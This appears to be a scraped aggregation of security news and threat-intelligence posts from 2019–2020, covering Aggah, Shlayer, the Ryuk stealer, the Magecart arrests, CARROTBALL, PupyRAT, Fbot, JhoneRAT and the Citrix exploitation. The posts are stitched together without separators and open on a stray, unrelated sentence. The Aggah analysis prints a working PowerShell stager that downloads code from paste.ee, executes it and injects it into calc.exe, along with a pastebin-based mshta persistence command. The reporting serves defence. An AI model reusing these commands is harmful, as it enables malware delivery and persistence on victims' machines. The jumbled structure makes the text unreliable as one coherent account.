If the criminals are continuing to make money by infecting Apple Mac computers in this fashion, whatever makes you think that they’ll come up with a more original social engineering trick?
As the enterprise security brand of Quick Heal Technologies Ltd., Seqrite develops security management products across endpoints, mobile devices, servers and networks. By building upon our data on threat research, intelligence and cybersecurity, our recently released Annual Threat Report 2020 aim to provide a detailed understanding of malware of 2019.
While the full report can be found on this link, here is a brief summary of the most significant findings from the report:
Malware infection continues to be a threat
Seqrite detected over 146 million malware in 2019 which is massive in number. The highest detection of malware happened in Q4 – 2019 which saw 46 million malware detected. In terms of hourly malware detection highlights for 2019, 16,732 cases were the maximum seen.
Trojan continues to be a danger
In terms of category-wise malware detection statistics, Trojan malware continued to remain popular with just above 25 million detections in 2019. It remained a threat throughout the year, seeing a major upsurge in the last quarter.
Q4 sees a spike in malware
From the data, it is quite evident that malware sees a pronounced spike towards the end of the year. Seqrite detected 46 million malware in Q4, compared to a little above 35 million in Q3, 30 million in Q2 and 25 million in Q1. November and December 2019 also saw the largest number of malware attacks with over 18 million detected in December and above 14 million detected in November.
Real-Time Scan remains a big plus
In terms of malware detection, Real-Time protection methodology is a clear winner and a big differentiator. 51% of malware was detected through Real-Time Scan while the second most effective methodology was Behavioral Detection Scan with 23%. On-Demand Scan came a close third with 22%.
The topmost detected malware
The data showed that the following malware were detected the most on business endpoints:
Pioneer.CZ1 was the most detected malware detected on 22% of endpoints. It is a file infector which performs malicious activities sending it to a CNC server.
Sality.U was detected on 13% of endpoints and is a file infector which performs a range of harmful activities including stealing confidential data from the system
KillAv.Dr was detected on 12% of endpoints stealing IP information and other personal data.
The manufacturing sector remains at highest risk
The manufacturing sector saw the highest number of malware attacks in 2019 with over 8 million detections. The education and the professional sectors were second and third on the list with over 7 million and around 6 million attacks, respectively.
APT attacks will continue
The Annual Threat Report 2020 also has a detailed section on Advanced Persistent Threats (APTs) which are designed to infiltrate high-value targets important to national governments such as the military, power grids, nuclear plants, etc. APTs are typically used by nation-states for cyber warfare.
Seqrite analyzed two APT attacks against important Indian government organizations in 2019. Operation m_project is a long-running cyber-espionage campaign against Indian government organizations since 2015 and targets defence organizations, government media houses and protection & security organizations
Seqrite Labs also analyzed the alleged cyber-attack on a Nuclear Power Plant in India and tried to decipher the modus operandi. The incident raised huge questions on the security aspects of critical national infrastructure and it was alleged that an infamous group from North Korea was behind the attack. Seqrite Labs hypothesized that the targeted attack could have been carried out by spear-phishing emails.
Be sure to read the full report for more details on the key findings mentioned in the report. Seqrite continues to be the leading source for the most relevant threat intelligence in the world of enterprise security.
Experts from Yoroi-Cybaze ZLab have spotted new attack attempts directed to some Italian companies operating in the Retail sector linked to Aggah campaign.
Introduction
During the last year, we constantly kept track of the Aggah campaigns. We started deepening inside the Roma225 Campaign and went on with the RG Campaign, contributing to the joint effort to track the offensive activities of this threat actor.
Recently, during our Cyber Defence monitoring operations, we spotted other attack attempts directed to some Italian companies operating in the Retail sector. For this reason, the Cybaze-Yoroi ZLab team decided to dissect this last Aggah campaign and track its latest variations.
The initial file is a Microsoft PowerPoint PPA file. It actually is an Add-in file designed to add new behavior to the classic PowerPoint presentations, in this case to add a nasty macro:
Figure 1: Piece of the malicious macro
The malicious code within the PPA abuses the Microsoft mshta utility to download a web page from the BlogSpot platform.
Figure 2: Result of the Bit.ly link
The HTML page closely matches the modus operandi of the previous Aggah threat. In this case, the blogspot post is named “20sydney new” but it uses the same trick from the past: hiding the javascript stager code inside the web page, an ad hoc code snippet which will be interpreted and executed only by the mshta engine.
Figure 3: Malicious code hidden in the Blogspot web page and executed by the MSHTA engine
The parameter passed the “unescape()” function results in another two layers of encoded strings, adopting a sort of “matrioska unecape obfuscation”. After these layers, we recovered the malicious logic of the stager:
<script language=”VBScript”>
Set M_c = CreateObject(StrReverse(“llehS.tpircSW”))
The first part of this initial implant aims to kill the Word and Excel processes. Immediately after that, the malware downloads other code through leveraging mshta once again, this time from a pastebin snippet.
Figure 4: Piece of the malicious Pastebin
The author of this pastes is no more “HAGGA”, as seen in our previous analysis, now the he moved to another one: “YAKKA3”:
Figure 5: Evidence of YAKKA3 Pastebin user
The paste was created on the 25th November 2019 and it has likely been edited many times in the course the last month. In the past Aggah was frequently changing the content of his pastes to modify the malware behaviour and drop many kinds of malware. On some occasions, some of them suspected to be related to the Gorgon APT group. Anyway, during the analysis, the content of the encoded string is the following:
<script language=”VBScript”>
Set MVn = CreateObject(StrReverse(“llehS.tpircSW”))
Mcn = “powershell do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);[void] [System.Reflection.Assembly]::LoadWithPartialName(‘Microsoft.VisualBasic’);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),’Dow$_$loadStri$_$g’.replace(‘$_$’,’n’),[Microsoft.VisualBasic.CallType]::Method,’https://paste.ee/r/Zhs3s’)|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),’Dow$_$loadStri$_$g’.replace(‘$_$’,’n’),[Microsoft.VisualBasic.CallType]::Method,’https://paste.ee/r/Fk9yH’).replace(‘*’,’0x’)|IEX;[vroombrooomkrooom]::kekedoyouloveme(‘calc.exe’,$f)”
MVn.Run Mcn, vbHide
self.close
</script>
Code Snippet 2
The above script is a piece of VBS script designed to run some other Powershell loader. The powershell script tests the internet connectivity by pinging to google.com and then starts the infection. The script downloads two other pastes. The first is a PE file and the second one is a custom .NET process injection utility.
The injector component is invoked through its static method “[vroombrooomkrooom]::kekedoyouloveme(‘calc.exe’,$f)”, as seen in the code snippet 2. The only purpose of this component is to inject a payload inside the memory of another one process, as indicated in the parameter.
Figure 6: Write Process Memory technique
The injection technique is very basic. In fact the injection uses the textbook “CreateRemoteThread” technique, well documented and used actively implemented by many actors and malware developers.
Figure 7: Injected payload inside calc.exe process
UAC Bypass Tool
In Code Snippet 1 we saw that the aggah implant persists on the target machine by setting the “mshta http:[\\pastebin.]com\raw\NxJCPTmQ” command into the Registry Key “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Pastemm”, so, it potentially loads different payloads on every run.
Figure 8: Piece of the malicious script executed by the persistence mechanism
Unlike previous pastes, the author of this one is YAKKA4. Probably, a form of redundancy in case of take down of the other accounts.
Figure 9: YAKKA4 evidence
Anyway, the code served by this paste downloads another binary file from an additional Paste site: paste.ee.
This last binary actually is a hacking tool implementing the CMSTP Bypass technique, a technique used to bypass Windows UAC prompts.
According to the Microsoft Documentation, “Connection Manager is a suite of components that provides administrators with the ability to create and distribute customized remote access connections and to create, distribute, and automatically update customized phone books.”.
However, the cyber attackers could exploit an infected INF file to execute arbitrary commands bypassing the UAC, elevating privileges in a stealthy way. In this case the CMSTP Bypass technique implemented into a .NET executable.
Figure 10: Synthesis of the CMSTP Bypass technique
The Payload
As we saw in the past, Aggah used to change its payloads during time, and this time we observed that the delivered malware was not RevengeRAT. It rather was a LokiBot variant. This info stealer is well-known in the community since 2016 and it was deeply analyzed in the course of the years.
In this case, it has the following configuration:
Figure 11: Loki Bot configuration with communication to the C2
The December Payloads
As anticipated before, Aggah payloads are quite dynamic. According to the some observation of community researches such as @DrStache, the Aggah pastebin accounts were dropping AZOrult infostealer few days before the Lokibot observation.
Investigating the c2 infrastructure through the Azorult-Tracker services, we noticed the AZOrult malware distributed by Aggah in that period was targeting a modest number of victims mainly located in the United States, United Arab Emirates and also Pakistan, Germany and Israel.
Conclusions
The Aggah actor keeps threatening organizations all around the world. During the time it built a custom stager implant based on legit third parties services, such as Pastebin and BlogSpot, abused by the actor to manage the infected hosts and to run its botnet without renting a server.
During the last year we contributed to the joint effort to track its activities, along with PaloAlto’s Unit42, and after a year we can confirm it is still active and dangerous. At the moment it is not clear if this actor is just selling its hacking services or running its own campaigns, or both.
In conclusion, there is no hard evidence confirming or denying its potential relationships with the Gorgon APT, and factors like the different nationalities and the small amount of victims connected to December Aggah activities, does not help to exclude it.
Further technical details, including Indicators of Compromise (IoCs) and Yara rules, are reported in the analysis published by Yoroy-Cybaze Z-Lab:
Police in Indonesia, working alongside Interpol, have arrested three men suspected of being part of a gang engaged in Magecart attacks that skimmed payment card information from online shoppers.
Malware authors continue to show interest in macOS devices, Kaspersky experts confirmed that the Shlayer malware has been the most common threat to the macOS platform.
Security experts from Kaspersky Lab revealed that the Shlayer malware was the most widespread macOS threat in 2019.
In February, malware researchers at Carbon Black spotted a new strain of the Shlayer malware that was targeting MacOS versions from 10.10.5 up to 10.14.3.
The malware was posing as an Adobe Flash update and it was distributed through a large number of websites, fake or compromised legitimate domains.
This variant of the Shlayer malware employs multiple levels of obfuscation, experts discovered that many of the initial DMGs are signed with a legitimate Apple developer ID.
The malware installs Any Search bar on the targeted Mac device to deploy adware, it also intercepts and collects browser data and it is able to alter search results to deliver malicious ads.
According to Kaspersky, in 2019, one in ten of our Mac security solutions encountered this malware at least once.
“For close to two years now, the Shlayer Trojan has been the most common threat on the macOS platform: in 2019, one in ten of our Mac security solutions encountered this malware at least once, and it accounts for almost 30% of all detections for this OS.” reads the analysis published by Kaspersky. “The first specimens of this family fell into our hands back in February 2018, and we have since collected almost 32,000 different malicious samples of the Trojan and identified 143 C&C server domains.”
The malware was used to deliver multiple adware including AdWare.OSX.Cimpli, AdWare.OSX.Bnodlero, AdWare.OSX.Pirrit, and AdWare.OSX.Geonei.
Experts pointed out that the infection process of Shlayer malware hasn’t changed over the time and the malicious code has remained active throughout 2019.
Unlike other Bash-based macOS malware, the Shlayer family is written in Python, and its operation algorithm is different from other threats.
Shlayer is used only as the initial stage of the attack because it penetrates the system, loads the main payload, and runs it.
“The negative consequences for the user can be seen by investigating the AdWare.OSX.Cimpli family, which was being actively downloaded by the Trojan at the time of writing.” continues the report. ” But in actual fact, Cimpli performs several actions unseen by the user. First, it installs a malicious extension in Safari, hiding the OS security notification behind a malware fake window. By clicking on the buttons in the notification, the user in effect agrees to install the extension.”
The researchers detailed one of the extensions downloaded and installed by the malware that is called Management. The extension monitors user searches and redirects them to the address hxxp://lkysearchex41343-a.akamaihd[.]net/as?q=c by injecting the script script.js in the browser pages. The malicious code also loads the mitmdump tool, which is packed using PyInstaller.
Most Shlayer infection attempts were observed in the U.S. (31%), followed by Germany (14%), France (10%), and the UK (10%).
“Having studied the Shlayer family, we can conclude that the macOS platform is a good source of revenue for cybercriminals.” concludes the report. “The Trojan links even reside on legitimate resources — attackers are adept in the art of social engineering, and it is hard to predict how sophisticated the next deception technique will be.”
A new piece of the Ryuk malware has been improved to steal confidential files related to the military, government, financial statements, and banking.
Security experts from MalwareHunterTeam have discovered a new version of the Ryuk Stealer malware that has been enhanced to allow its operators to steal a greater amount of confidential files related to the military, government, financial statements, and banking.
Anyone remember this "Ryuk Stealer"? Just because got a new sample. Took a quick look already and found that: – they still not removed the Ryuk references () – payload (the stealer itself) still has the same icon (helpful) – they added about 20 new keywords… cc @VK_Intelhttps://t.co/LacWzA06TV
In September 2019, BleepingComputerreported the discovery of a new piece of malware that included references to the Ryuk Ransomware and that was used to steal files with filenames matching certain keywords.
It is not clear if the malware was developed by the threat actors behind Ryuk Ransomware for data exfiltration.
“It is likely the same actor with the access to the earlier Ryuk version who repurposed the code portion for this stealer,” explained the popular malware researcher Vitali Kremez.
“What we do know is that the malware is targeting very specific keywords that could be disastrous for governments, military operations, and law enforcement cases if the stolen files are exposed.” reported BleepingComputer.
The new variant of the Ryuk Stealer malware implements a new file content scanning feature and is able to search for additional keywords in the filenames for data exfiltration.
Source BleepingComputer
The variant of the Ryuk Stealer recently discovered is able to look for C++ code files (i.e. .cpp), further Word and Excel document types, PDFs, JPG image files, and also files associated with cryptocurrency wallets.
The scanning module first checks if the files on the systems have one of the above extensions, then it will check the contents of the files to verify the presence of one of the following keywords.
In addition, the stealer will also check the presence of one of other 55 keywords in the filenames.
Once the document has passed the checks, it will be uploaded to an FTP site, experts pointed out that the code of the Ryuk stealer includes two FTP sites. At the time of the analysis, both sites were not reachable at the time of the analysis.
Targeted keywords in the new variant of the Ryuk stealer confirm that attackers are looking for confidential information in military, banking, finance and law enforcement.
Another aspect to consider is that operators behind ransomware are also interested in stealing sensitive data from their victims and use them to blackmail victims and force them to pay the ransom like the Maze ransomware gang does.
There is some egg on the face of Trend Micro after it is revealed their anti-virus software was exploited to steal data from Mitsubishi Electric, but they aren’t the real villains of the story.
The Indonesian National Police and the Interpol announced the arrest of three Indonesian hackers who carried out Magecart attacks.
The Indonesian National Police in a joint press conference with Interpol announced the result of an investigation dubbed ‘Operation Night Fury’ that allowed to arrest three hackers that carried out Magecart attacks to steal payment card data.
The three hackers had compromised hundreds of e-commerce websites worldwide.
The Operation Night Fury was led by Interpol’s ASEAN Cyber Capability Desk, a joint initiative to drive intelligence-led and coordinated actions against cybercrime in ASEAN through the implementation of a harmonized regional coordination framework.
The three hackers were arrested in December in Jakarta and Yogyakarta and charged with data theft, fraud, and unauthorized access to computer systems. The men face up to 10 years in prison under article 363 of the Indonesian Criminal Code.
Joint press conference by Indonesian National Police & #INTERPOL on Operation Night Fury led by INTERPOL’s #ASEAN Desk, sharing the successful arrest of 3 suspects involved in JS-sniffer campaign compromising e-commerce websites to steal credit card or online payment information pic.twitter.com/2C12fvZ92X
According to the authorities, the hackers had compromised at least 12 e-commerce websites, but the trio may be involved in a larger number of attacks.
Researchers from Sanguine Security have tracked the activity of this group for several years and believe they have compromised than 571 e-commerce stores.
The attribution of the 571 attacks to this specific group is based on an odd message that was left in all of the skimming code they used:
“Success gan !” translates to “Success bro” in Indonesian.
According to the authorities, the suspects used stolen credit cards to buy electronic goods and other luxury items, and then resell on local e-commerce websites in Indonesia.
“The modus operandi of the suspect is to infect hundreds of e-commerce originating from various countries in the world, after getting the results in the form of thousands of payment data used for shopping payments in e-commerce, the suspects use the stolen data to spend electronic goods and other luxury goods.” reads the press release published by the police.
“The suspects also tried to resell the goods after they received from the shipper online and through e-commerce in Indonesia at a relatively cheap price or below the market price, evidence secured by Dittipidsiber 1 laptop, 5 mobile phones of various brands, 1 unit CPU, 3 pieces of KTP on behalf of the perpetrators, 1 BCA token, and 2 ATM cards. Of the 500 data losses, the perpetrators made a profit of 300-400 million.”
According to the experts from Sanguine Security, this group is responsible only for 1% of overall attacks carried out by groups under the Magecart umbrella, this means that many other hackers are ready to attack e-commerce sites worldwide.
“This group had a serious impact on global ecommerce security in recent years, by skimming at least 571 hacked stores.” concluded the experts. “However, they were responsible for just 1% of all Magecart incidents since 2018 and should be considered small catch. Sanguine Security estimates that there are yet another 40 to 50 more sophisticated individuals involved in web-skimming activity.”
Today, Talos is publishing a glimpse into the most prevalent threats we’ve observed between Jan 17 and Jan 24. As with previous roundups, this post isn’t meant to be an in-depth analysis. Instead, this post will summarize the threats we’ve observed by highlighting key behavioral characteristics, indicators of compromise, and discussing how our customers are automatically protected from these threats.
As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center, Snort.org, or ClamAV.net.
TRU01242020 – This is a JSON file that includes the IOCs referenced in this post, as well as all hashes associated with the cluster. The list is limited to 25 hashes in this blog post. As always, please remember that all IOCs contained in this document are indicators, and that one single IOC does not indicate maliciousness. See the Read More link above for more details.
A US Government agency was hit with a phishing attack attempting to deliver a new malware dropper dubbed CARROTBALL.
Security experts at Palo Alto Networks have uncovered a new malware dropper called CARROTBALL that was used in targeted attacks against a U.S. government agency and non-US foreign nationals.
Experts attribute the attack to the Konni Group, a North Korea-linked nation-state actor.
The attackers use a weaponized Microsoft Word document as a lure for the target, the phishing messages were sent from a Russian email address.
“Between July and October 2019, Unit 42 observed several malware families typically associated with the Konni Group (see Attribution section below for more details) used to primarily target a US government agency, using the ongoing and heightened geopolitical relations issues surrounding North Korea to lure targets into opening malicious email attachments.” reads the analysis published by Palo Alto Networks’s Unit42. “The malware families used in this campaign consisted mainly of malicious documents featuring CARROTBAT downloaders with SYSCON payloads, but also included a new malware downloader Unit 42 has dubbed CARROTBALL.”
This campaign, which the researchers call Fractured Statue, used six unique document lures sent from four unique Russian email addresses.
The subject of the emails featured articles written in Russian pertaining to ongoing geopolitical relations issues surrounding North Korea. Five documents involved in the campaign contained CARROTBATdownloaders, and one contained a CARROTBALL downloader. Both downloaders were used to deliver the second-stage SYSCON malware.
Experts pointed out that the campaign appears as a resemblance to the Fractured Block campaign first uncovered by Unit 42 in November 2018, for this reason, the experts tracked this campaign as Fractured Statue.
Experts identified three different phases of the Fractured Statue campaign and CARROTBALL downloader was used only in the last one that sees the involvement of email messages with the subject “The investment climate of North Korea,” sent from the address “pryakhin20l0@mail[.]ru.”
“Also interesting to note is that the sender added multiple recipients to their email; one was an individual at a US government agency, and the other two individuals were non-US foreign nationals professionally affiliated with ongoing activities in North Korea” continues the analysis of the report.
Experts noticed that all of the malicious documents used in the campaign used the same macro that allowed attackers to determine the target Windows architecture, execute a command that was hidden in a textbox included in the document and then clear the contents of the textboxes and save the document.
In the last wave of the campaign, attackers used a different macro that doesn’t execute commands hidden in the document, instead it relied on an embedded Windows binary.
“The October 2019 attack, however, differed significantly from the previous ones. Instead of reading from the contents of the document itself, the macros leveraged an embedded Windows executable in the form of hex bytes delimited via the ‘|’ character that ultimately acted as a dropper.” continues the analysis. “When the macro was executed, the hex bytes were split, converted to binary, and dropped onto disk as an executable.”
When the macro executed, the hex bytes would be split and converted to binary, then the downloader dubbed CARROTBALL is dropped on the disk.
The name “Konni” identifies a Remote Access Trojan used in targeted campaigns carried out by North Korea-linked APT groups. Experts pointed out that as additional campaigns showing strongly overlapping TTPs yet did not feature the Konni RAT, some experts started using the “Konni” moniker to refer to the actors behind the aggregated set of activity
“Overall, the Fractured Statue campaign provides clear evidence that the TTPS discovered in Fractured Block are still relevant, and that the group behind the attacks still appears to be active.” concludes the report. “Additionally, development and use of the new downloader, CARROTBALL, alongside the more commonly observed malware delivery mechanism, CARROTBAT, may indicate that the previous methods employed by the group to successfully infect their targets are becoming less effective.”
Additional technical details are included in the report published by the Unit42.
Motherboard obtained and published the technical report on the hack of Jeff Bezos's phone, which isbeingattributed to Saudi Arabia, specifically to Crown Prince Mohammed bin Salman.
...investigators set up a secure lab to examine the phone and its artifacts and spent two days poring over the device but were unable to find any malware on it. Instead, they only found a suspicious video file sent to Bezos on May 1, 2018 that "appears to be an Arabic language promotional film about telecommunications."
That file shows an image of the Saudi Arabian flag and Swedish flags and arrived with an encrypted downloader. Because the downloader was encrypted this delayed or further prevented "study of the code delivered along with the video."
Investigators determined the video or downloader were suspicious only because Bezos' phone subsequently began transmitting large amounts of data. "[W]ithin hours of the encrypted downloader being received, a massive and unauthorized exfiltration of data from Bezos' phone began, continuing and escalating for months thereafter," the report states.
"The amount of data being transmitted out of Bezos' phone changed dramatically after receiving the WhatsApp video file and never returned to baseline. Following execution of the encrypted downloader sent from MBS' account, egress on the device immediately jumped by approximately 29,000 percent," it notes. "Forensic artifacts show that in the six (6) months prior to receiving the WhatsApp video, Bezos' phone had an average of 430KB of egress per day, fairly typical of an iPhone. Within hours of the WhatsApp video, egress jumped to 126MB. The phone maintained an unusually high average of 101MB of egress data per day for months thereafter, including many massive and highly atypical spikes of egress data."
The Motherboard article also quotes forensic experts on the report:
A mobile forensic expert told Motherboard that the investigation as depicted in the report is significantly incomplete and would only have provided the investigators with about 50 percent of what they needed, especially if this is a nation-state attack. She says the iTunes backup and other extractions they did would get them only messages, photo files, contacts and other files that the user is interested in saving from their applications, but not the core files.
"They would need to use a tool like Graykey or Cellebrite Premium or do a jailbreak to get a look at the full file system. That's where that state-sponsored malware is going to be found. Good state-sponsored malware should never show up in a backup," said Sarah Edwards, an author and teacher of mobile forensics for the SANS Institute.
"The full file system is getting into the device and getting every single file on there -- the whole operating system, the application data, the databases that will not be backed up. So really the in-depth analysis should be done on that full file system, for this level of investigation anyway. I would have insisted on that right from the start."
The investigators do note on the last page of their report that they need to jailbreak Bezos's phone to examine the root file system. Edwards said this would indeed get them everything they would need to search for persistent spyware like the kind created and sold by the NSO Group. But the report doesn't indicate if that did get done.
Ako Ransomware targeting businesses using RaaS Quick Heal security researchers recently observed ransomware that uses RaaS (Ransomware as a Service) which is a subpart of MaaS (Malware as a Service). Before delving into the AKO ransomware or RaaS, one must understand what Malware as a Service means, as it is…
Hackers used a remote access Trojan (RAT) associated with Iran-linked APT groups in recent attacks on a key organization in the European energy sector.
Security experts from Recorded Future reported that a backdoor previously used in attacks carried out by an Iran-linked threat actor was used to target a key organization in the European energy sector.
The malware is the PupyRAT backdoor, it is a “multi-platform (Windows, Linux, OSX, Android), multi-function RAT and post-exploitation tool mainly written in Python” that can give the attackers full access to the victim’s system.
The above groups were involved in past attacks on organizations in the energy sector worldwide.
Now experts from Recorded Future identified malicious traffic between PupyRAT install and the command and control (C&C) server identified by the experts. The communication involved a mail server for a European energy sector organization and took place between November 2019 and at least January 5, 2020.
“Using Recorded Future remote access trojan (RAT) controller detections and network traffic analysis techniques, Insikt Group identified a PupyRAT command and control (C2) server communicating with a mail server for a European energy sector organization from late November 2019 until at least January 5, 2020.” reads the analysis published by Recorded Future. “While metadata alone does not confirm a compromise, we assess that the high volume and repeated communications from the targeted mail server to a PupyRAT C2 are sufficient to indicate a likely intrusion.”
The researchers were not able to attribute the attack to Iran-linked APT groups, anyway, their analysis highlights that the targeted organization had a role in the coordination of European energy resources.
The activity predated the recent escalation of kinetic activity between the U.S. and Iran.
Experts suggest to monitor for sequential login attempts from the same IP against different accounts, use a password manager and set strong, unique passwords …and of course adopt multi-factor authentication. Recorded Future researchers also recommend that organizations analyze and cross-reference log data to detecthigh-frequency lockouts, unsanctioned remote access attempts, temporal attack overlaps across multiple user accounts, and fingerprint unique web browser agent information.
“Although this commodity RAT, PupyRAT, is known to have been used by Iranian threat actor groups APT33 and COBALT GYPSY, we cannot confirm whether the PupyRAT controller we identified is used by either Iranian group.” concludes the report. “Whoever the attacker is, the targeting of a mail server at a high-value critical infrastructure organization could give an adversary access to sensitive information on energy allocation and resourcing in Europe.”
A newly discovered threat actor named Vivin is raking in Monero from cryptomining malware, showing that this type of attack isn't going away anytime soon.
New versions of the ransomware now sniff out saved credentials for Internet Explorer, Mozilla Firefox, Mozilla Thunderbird, Google Chrome and Microsoft Outlook.
This is not the first time Fbot analysis has been published, and also Fbot binaries have been actively infecting the IoT devices since way before 2018.
This article explains what we have learned about the Fbot traced back from the year of 2014. And will discuss the mysteries that can be seen after Fbot has been detected.
The
background before Fbot Mirai variant
Fbot is one of the Mirai’s variants, and Mirai is the Linux malware that originally has been detected in August 2016 by the same team who wrote the last analysis mentioned above. On the boom of Mirai source code leaks by its malware coder (nickname: AnnaSenpai), followed by the sharing of its source code openly in the Github within only a month after the analysis report has been published, a lot of young hackers involved in the “DDoS criminal ecosystem”, who had been actively using IoT devices for the DDoS purpose before Mirai malware was born, were racing in a big wave to learn how to install, adapt and transform Mirai to their DDoS botnet platforms, which most of them were built on Kaiten, STD, GafGyt (known also as Qbot or Torlus or Bashlite), or Perlbot malware source code, since Mirai had been proven to be more recently coded, powerful flood, is having anti-reverse-engineered tricks.
This wave is a significant timeline as a technology step-up for DDoS botnet and IoT malware development.
It is known in the underground that origin of Satori, the predecessor code of what is known as Fbot now, had been started to be developed after the leak of Mirai code, young botnet coders, who mostly also herders of Qbot (GafGyt) botnets. One of them who lives in the UK known under various nicknames of Vicious, ViciousAttack, Vi, Vamp, DustPan, NixFairy, HollySkye or RespectVicious, had allegedly been involved with this variant’s development too.
(Figure 1 – Vamp’s account on Twitter)
Vamp was among a number of suspects who had been arrested across the United Kingdom on the investigation of the TalkTalk cyber incident that happened in 2015, and he is also a suspect on the activity of Mirai botnet that made great damage in the several parts of the globe from 2016. Vamp, along with other “partners” (including Nexus Zeta, who has been indicted of a similar crime in the US), had his involvement with the original development of Satori botnet. After the legal matter had happened, Vamp was out of the grid and the recent news about him is the legal matter of lifting of his anonymity in 2018. As you can also see it in The Irish News published an article on 14 March, 2018, we quoted:
“With the criminal case now concluded, Mr Simpson said: ” ..this young man has now been dealt with, and he is now over 18 (years old). On that basis Mr Justice Maguire agreed to discharge the prohibition on identifying the teenager.”
The
mystery of Fbot
What had happened now is the re-emerged of the SATORI Mirai variant basis with the payload called Fbot.[.supported_architecture], which has been detected since September 2018 on several honeypot logs and has been reported also in the analysis we mentioned here.
(Figure 2 – Fbot Scanning Activities with “SATORI” Keyword Detected)
The link between Fbot and Satori base is detected in its infection’s activity and executable file. For example, in the scanner log:
And also in the binary as hardcoded strings:
(Figure 3 – The Hardcoded “SATORI” Strings in
Fbot Binary)
Would it be one of the “partners” during Satori development has renamed compiled binaries of the Satori project into Fbot? What are Vamp, NexusZeta doing nowadays? Or, would it b someone else uses the whole source code of the Satori project and re-use it for his own by naming the compiled binaries as Fbot?
This is the mystery that comes to our mind after reading the complete report published in MalwareMustDie last report.
To make things more mysterious is, right now, the Fbot infected devices are detected to still performing infection to other IoT devices, but the payload is not being dropped from the C2 server.
The latest detection can be seen in the post
of MalwareMustDie latest post too:
(Figure 4 – Recent Record of Fbot Infection
Log In the Analysis Article)
Although it has been confirmed by the
researchers that since the analysis has been posted by in MalwareMustDie post,
the C2 for Fbot is not dropping new payloads for the further infection
activity.
Would it mean that the coder of Fbot is abandoning his botnet after all of this time?
Whoever the herder is, we all hope that the coder will stop his malicious activity for good.
Researchers from Cisco Talos discovered a new Trojan named JhoneRAT that was used in targeted attacks against entities in the Middle East.
A new Trojan named JhoneRAT appeared in the threat landscape, it is selectively attacking targets in the Middle East by checking keyboard layouts.
The malware targets a very specific set of Arabic-speaking countries, including Saudi Arabia, Iraq, Egypt, Libya, Algeria, Morocco, Tunisia, Oman, Yemen, Syria, UAE, Kuwait, Bahrain, and Lebanon.
“Today, Cisco Talos is unveiling the details of a new RAT we have identified we’re calling “JhoneRAT.” This new RAT is dropped to the victims via malicious Microsoft Office documents.” reads the analysis published by Cisco Talos. “The dropper, along with the Python RAT, attempts to gather information on the victim’s machine and then uses multiple cloud services: Google Drive, Twitter, ImgBB and Google Forms.”
The experts discovered that the RAT is distributed via weaponized Office documents, it leverages multiple cloud services (i.e. Google Drive, Twitter, ImgBB and Google Forms) to avoid detection.
The JhoneRAT is written in Python, it attempts to download additional payloads and upload the information gathered during the reconnaissance phase.
Talos researchers identified three weaponized Microsoft Office documents that download and load an additional document containing a Macro. The first document named “Urgent.docx” is dated back November 2019.
The second document named “fb.docx” is dated January and claims to contain data on a Facebook information leak. The third document found in the mid-January pretends to be from a legitimate United Arab Emirate organization.
The additional Office documents loaded and executed by the JhoneRAT are hosted through Google Drive in the attempt to avoid URL blacklisting.
JhoneRAT is dropped through Google Drive, which hosts images with a base64-encoded binary appended at the end. Once the images are loaded onto a target machine will deploy the Trojan that harvests information from the victim’s machine (i.e. OS, disk serial numbers, the antivirus, and more).
The malware used Twitter as C2 while exfiltrates information, it checks a public Twitter feed every 10 seconds.
When communicating with its command-and-control server (C2) in order to exfiltrate information, it checks for comments every 10 seconds.
“This RAT uses three different cloud services to perform all its command and control (C2) activities. It checks for new commands in the tweets from the handle @jhone87438316 (suspended by Twitter) every 10 seconds using the BeautifulSoup HTML parser to identify new tweets.” continues the analysis. “These commands can be issued to a specific victim based on the UID generated on each target (by using the disk serial and contextual information such as the hostname, the antivirus and the OS) or to all of them.”
Experts pointed out that stolen data are exfiltrated through cloud providers, for example, screenshots are uploaded to ImgBB, while commands are executed with output sent to Forms. The malware download binaries disguised has a picture from the Google Drive and execute them.
“The attacker put a couple of tricks in place to avoid execution on virtual machines (sandbox). The first trick is the check of the serial number of the disk. The actor used the same technique in the macro and in the JhoneRAT. By default, most of the virtual machines do not have a serial number on the disk.” continues the analysis.
“The attacker used a second trick to avoid analysis of the Python code. The actor used the same trick that FireEye in the Flare-On 6: Challenge 7: They removed the header of the Python bytecode.”
According to the experts, the campaign is still ongoing, even if the Twitter account is suspended, attackers can easily create new accounts and use them in the same way.
“This campaign shows a threat actor interested in specific Middle Eastern and Arabic-speaking countries. It also shows us an actor that puts effort in opsec by only using cloud providers.” concludes the report. “The malicious documents, the droppers and the RAT itself are developed around cloud providers. Additionally the attackers implemented anti-VM (and sandbox) and anti-analysis tricks to hide the malicious activities to the analyst.”
The analysis published by Talos contains additional technical details, including Indicators of Compromise.
Attacks on Citrix servers are intensifying, one of the threat actors behind them is patching them and installing its own backdoor to lock out other attackers.
Researchers from FireEye noticed that one of the threat actors involved in the attacks is patching the vulnerable Citrix servers, installing their own backdoor, tracked as NOTROBIN, to clean up other malware infections and to lock out any other threat from exploiting the CVE-2019-19781 Citrix flaw.
“One particular threat actor that’s been deploying a previously-unseen payload for which we’ve created the code family NOTROBIN.” reads a report published by FireEye.
“Upon gaining access to a vulnerable NetScaler device, this actor cleans up known malware and deploys NOTROBIN to block subsequent exploitation attempts! But all is not as it seems, as NOTROBIN maintains backdoor access for those who know a secret passphrase. FireEye believes that this actor may be quietly collecting access to NetScaler devices for a subsequent campaign.”
The popular expert Kevin Beaumont first reported the scans for vulnerable systems earlier in January, but only last week the exploits were made public.
In my Citrix ADC honeypot, CVE-2019-19781 is being probed with attackers reading sensitive credential config files remotely using ../ directory traversal (a variant of this issue). So this is in the wild, active exploitation starting up. https://t.co/pDZ2lplSBj
The issue affects all supported product versions and all supported platforms:
Citrix ADC and Citrix Gateway version 13.0 all supported builds
Citrix ADC and NetScaler Gateway version 12.1 all supported builds
Citrix ADC and NetScaler Gateway version 12.0 all supported builds
Citrix ADC and NetScaler Gateway version 11.1 all supported builds
Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds
